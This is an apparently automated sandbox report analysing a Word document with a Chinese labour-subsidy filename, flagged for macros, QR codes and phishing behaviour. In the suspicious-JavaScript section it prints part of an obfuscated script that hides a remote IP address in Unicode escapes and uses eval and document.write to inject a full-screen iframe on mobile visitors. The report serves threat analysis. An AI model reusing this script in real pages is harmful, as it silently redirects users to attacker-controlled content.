Edit tour

Windows Analysis Report
2023#U5e74#U4e2a#U4eba#U52b3#U52a8#U8865#U8d34.docx

Overview

General Information

Sample name:	2023#U5e74#U4e2a#U4eba#U52b3#U52a8#U8865#U8d34.docx renamed because original name is a hash value
Original sample name:	2023.docx
Analysis ID:	1566383
MD5:	c89fd5a700182f604ff14d01ed0f3017
SHA1:	1b698f32ca23f1ad02028999298e6c824c701ad5
SHA256:	0c0562ed571c25553f29f2cb5882b299bb5dcb75fb44e9c480c5cf7d50290a0c
Infos:

Detection

Score:	48
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

AI detected landing page (webpage, office document or email)

AI detected suspicious Javascript

Detected TCP or UDP traffic on non-standard ports

Document contains embedded VBA macros

Document misses a certain OLE stream usually present in this Microsoft Office document type

HTML page contains string obfuscation

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

Classification

Process Tree

System is w10x64

WINWORD.EXE (PID: 4312 cmdline: "C:\Program Files (x86)\Microsoft Office\Root\Office16\WINWORD.EXE" /Automation -Embedding MD5: 1A0C2C2E7D9C4BC18E91604E9B0C7678)

splwow64.exe (PID: 8188 cmdline: C:\Windows\splwow64.exe 12288 MD5: 77DE7761B037061C7C112FD3C5B91E73)

chrome.exe (PID: 7440 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://www.shenqing1.com/ MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 7620 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2044 --field-trial-handle=2032,i,2264180495487072933,6257516792534871649,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

cleanup

Sigma Signatures

Sigma detected: Office Macro File Creation

Source: File created

Author: Nasreddine Bencherchali (Nextron Systems): Data: EventID: 11, Image: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE, ProcessId: 4312, TargetFilename: C:\Users\user\AppData\Roaming\Microsoft\Templates\~$Normal.dotm

Suricata Signatures

⊘No Suricata rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Phishing

AI detected landing page (webpage, office document or email)

Source: Office document	Joe Sandbox AI: Office document contains QR code
Source: Screenshot id: 8	Joe Sandbox AI: Screenshot id: 8 contains QR code
Source: Screenshot id: 10	Joe Sandbox AI: Screenshot id: 10 contains QR code
Source: Screenshot id: 7	Joe Sandbox AI: Screenshot id: 7 contains QR code
Source: Screenshot id: 9	Joe Sandbox AI: Screenshot id: 9 contains QR code

AI detected suspicious Javascript

Source: 1.2..script.csv

Joe Sandbox AI: Detected suspicious JavaScript: High-risk script showing multiple dangerous behaviors: 1) Uses obfuscated IP address in Unicode encoding 2) Uses eval() for dynamic code execution 3) Manipulates DOM aggressively to hide elements 4) Creates iframe loading content from suspicious IP address 5) Splits strings to obfuscate document.write 6) Targets mobile devices specifically for potential malicious redirect

Source: http://www.shenqing1.com/common.js

HTTP Parser: Found new string: script var titlestr = document.title;.var arr = ["\u0068\u0074\u0074\u0070\u0073\u003a\u002f\u002f\u0031\u0033\u0037\u002e\u0031\u0037\u0035\u002e\u0033\u0032\u002e\u0031\u0032\u0032\u003a\u0031\u0036\u0036\u0038\u0038"];.var linkIndex = Math.floor((Math.random() * arr.length));..//.const params = new URLSearchParams(window.location.search);.const myParam = params.get('path');..if(isMobile()) {. if(myParam) {. setFrame(arr[linkIndex] + myParam). } else {. setFrame(arr[linkIndex]);. }.}..function setFrame(olink) {. var ss = '<title>' + titlestr + '</title><div id="showcloneshengxiaon" style="height: 100%; width: 100%; background-color: rgb(255, 255, 255); background-position: initial initial; background-repeat: initial initial;"><ifr' + 'ame scrolling="yes" marginheight=0 marginwidth=0 frameborder="0" width="100%" height="100%" src="' + olink + '"></iframe></div><style type="text/css">html{width:100%;height:100%;}body {width:100%;height:100%;}</style>';. eval("do" + "cu" + "ment.wr" + "ite('" + s...

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE

File opened: C:\Program Files (x86)\Microsoft Office\root\vfs\SystemX86\MSVCR100.dll

Jump to behavior

Source: unknown	HTTPS traffic detected: 20.190.181.3:443 -> 192.168.2.4:49737 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.149.20.212:443 -> 192.168.2.4:49767 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.149.20.212:443 -> 192.168.2.4:49834 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.4:49836 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.4:49934 version: TLS 1.2

Source: winword.exe

Memory has grown: Private usage: 1MB later: 96MB

Source: global traffic

TCP traffic: 192.168.2.4:49755 -> 163.171.142.154:21233

Source: Joe Sandbox View	IP Address: 111.45.11.83 111.45.11.83
Source: Joe Sandbox View	IP Address: 111.45.3.198 111.45.3.198
Source: Joe Sandbox View	IP Address: 112.34.113.148 112.34.113.148
Source: Joe Sandbox View	IP Address: 112.34.113.148 112.34.113.148

Source: Joe Sandbox View

JA3 fingerprint: 28a2c9bd18a11de089ef85a160da29e4

Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.32
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.181.3
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.181.3
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.181.3
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.181.3
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.181.3
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.181.3
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.181.3
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.181.3
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.181.3
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.181.3
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.181.3
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.181.3
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.181.3
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.181.3
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.181.3
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.181.3
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.181.3
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.181.3
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.181.3
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.181.3
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.181.3
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.181.3
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.181.3
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.181.3
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.181.3
Source: unknown	TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown	TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown	TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.181.3
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.181.3
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.181.3
Source: unknown	TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown	TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown	TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown	TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.181.3
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.181.3
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.181.3
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.181.3
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.181.3
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.181.3
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.181.3
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.181.3
Source: unknown	TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown	TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown	TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown	TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown	TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown	TCP traffic detected without corresponding DNS query: 52.149.20.212

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKContent-Encoding: gzipContent-Length: 232Content-Type: text/javascriptServer: bfeDate: Mon, 02 Dec 2024 03:58:00 GMTData Raw: 1f 8b 08 00 00 00 00 00 00 ff 64 8f 41 6b bc 30 10 47 bf ca ae 07 49 50 27 ff eb 7f 25 48 e9 69 af 85 5e ba 59 4a 1a 47 0d ac 33 32 c6 0a 6d f7 bb 17 2b 3d f5 32 87 07 f3 1e bf 63 b7 50 48 91 49 e9 cf 77 2f 07 b4 46 5d 86 94 a6 af ed cc d7 93 33 ce 5c 7c f5 f1 50 bd fc ab fe bb 57 07 d7 c2 c1 9b 8f ed e2 20 f0 a8 4d 1f 4b b1 6b a4 96 57 b8 71 f0 9b 0d 06 c1 ae 64 db 72 58 46 a4 04 82 1d 8a a0 d4 b1 53 47 84 84 73 52 a2 f7 26 d9 cc 18 3f 45 98 07 2f b8 bb 37 b5 99 a1 8f 5d 56 73 a3 a8 b0 59 23 36 2b 90 02 b7 f8 fc 74 7e e4 71 62 42 4a ea 4f 43 97 92 e7 3f 2f f9 cd 66 85 68 7d fa 05 cd 0e ea 2d 9b 2c e1 7a 38 8f be c7 3a c1 2c c1 d2 fd ae f6 21 ba fe 0e 00 00 ff ff 97 51 90 77 19 01 00 00 Data Ascii: dAk0GIP'%Hi^YJG32m+=2cPHIw/F]3\\|PW MKkWqdrXFSGsR&?E/7]VsY#6+t~qbBJOC?/fh}-,z8:,!Qw
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKContent-Encoding: gzipContent-Length: 232Content-Type: text/javascriptServer: bfeDate: Mon, 02 Dec 2024 03:58:02 GMTData Raw: 1f 8b 08 00 00 00 00 00 00 ff 64 8f 41 6b bc 30 10 47 bf ca ae 07 49 50 27 ff eb 7f 25 48 e9 69 af 85 5e ba 59 4a 1a 47 0d ac 33 32 c6 0a 6d f7 bb 17 2b 3d f5 32 87 07 f3 1e bf 63 b7 50 48 91 49 e9 cf 77 2f 07 b4 46 5d 86 94 a6 af ed cc d7 93 33 ce 5c 7c f5 f1 50 bd fc ab fe bb 57 07 d7 c2 c1 9b 8f ed e2 20 f0 a8 4d 1f 4b b1 6b a4 96 57 b8 71 f0 9b 0d 06 c1 ae 64 db 72 58 46 a4 04 82 1d 8a a0 d4 b1 53 47 84 84 73 52 a2 f7 26 d9 cc 18 3f 45 98 07 2f b8 bb 37 b5 99 a1 8f 5d 56 73 a3 a8 b0 59 23 36 2b 90 02 b7 f8 fc 74 7e e4 71 62 42 4a ea 4f 43 97 92 e7 3f 2f f9 cd 66 85 68 7d fa 05 cd 0e ea 2d 9b 2c e1 7a 38 8f be c7 3a c1 2c c1 d2 fd ae f6 21 ba fe 0e 00 00 ff ff 97 51 90 77 19 01 00 00 Data Ascii: dAk0GIP'%Hi^YJG32m+=2cPHIw/F]3\\|PW MKkWqdrXFSGsR&?E/7]VsY#6+t~qbBJOC?/fh}-,z8:,!Qw

Source: global traffic	HTTP traffic detected: GET /hm.js?f65b5decfda457ddb48fb11285b70333 HTTP/1.1Host: hm.baidu.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: http://www.shenqing1.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /hm.js?282ad46c18b6295a8bb8e1da991aa804 HTTP/1.1Host: hm.baidu.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: http://www.shenqing1.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /hm.gif?hca=436E3B5EE945DDD8&cc=1&ck=1&cl=24-bit&ds=1280x1024&vl=907&et=0&ja=0&ln=en-us&lo=0&rnd=470346401&si=282ad46c18b6295a8bb8e1da991aa804&v=1.3.2&lv=1&sn=38805&r=0&ww=1280&u=http%3A%2F%2Fwww.shenqing1.com%2F&tt=%E4%B8%87%E5%AE%81%E8%82%87%E6%B1%95%E5%95%86%E8%B4%B8%E6%9C%89%E9%99%90%E5%85%AC%E5%8F%B8 HTTP/1.1Host: hm.baidu.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: http://www.shenqing1.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: HMACCOUNT_BFESS=436E3B5EE945DDD8
Source: global traffic	HTTP traffic detected: GET /hm.js?f65b5decfda457ddb48fb11285b70333 HTTP/1.1Host: hm.baidu.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: HMACCOUNT_BFESS=436E3B5EE945DDD8
Source: global traffic	HTTP traffic detected: GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=SR6ad2ndVEhoOwy&MD=Amvofuh+ HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /hm.js?282ad46c18b6295a8bb8e1da991aa804 HTTP/1.1Host: hm.baidu.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: HMACCOUNT_BFESS=436E3B5EE945DDD8
Source: global traffic	HTTP traffic detected: GET /hm.gif?hca=436E3B5EE945DDD8&cc=1&ck=1&cl=24-bit&ds=1280x1024&vl=907&et=0&ja=0&ln=en-us&lo=0&rnd=470346401&si=282ad46c18b6295a8bb8e1da991aa804&v=1.3.2&lv=1&sn=38805&r=0&ww=1280&u=http%3A%2F%2Fwww.shenqing1.com%2F&tt=%E4%B8%87%E5%AE%81%E8%82%87%E6%B1%95%E5%95%86%E8%B4%B8%E6%9C%89%E9%99%90%E5%85%AC%E5%8F%B8 HTTP/1.1Host: hm.baidu.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: HMACCOUNT_BFESS=436E3B5EE945DDD8
Source: global traffic	HTTP traffic detected: GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=SR6ad2ndVEhoOwy&MD=Amvofuh+ HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/other-Win32-v19.bundle HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120600v4s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120608v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120609v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120402v21s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224902v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120611v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120610v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120612v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120613v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120614v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120616v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120615v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120618v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120617v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120619v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120621v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120620v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120622v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120623v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120624v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120626v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120625v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120627v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120628v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120629v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120630v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120631v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120632v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120633v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120634v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120635v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120636v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120637v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120638v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120639v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120640v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120641v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120642v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120643v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120644v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120645v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120647v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120646v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120648v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120649v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120652v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120654v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120653v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
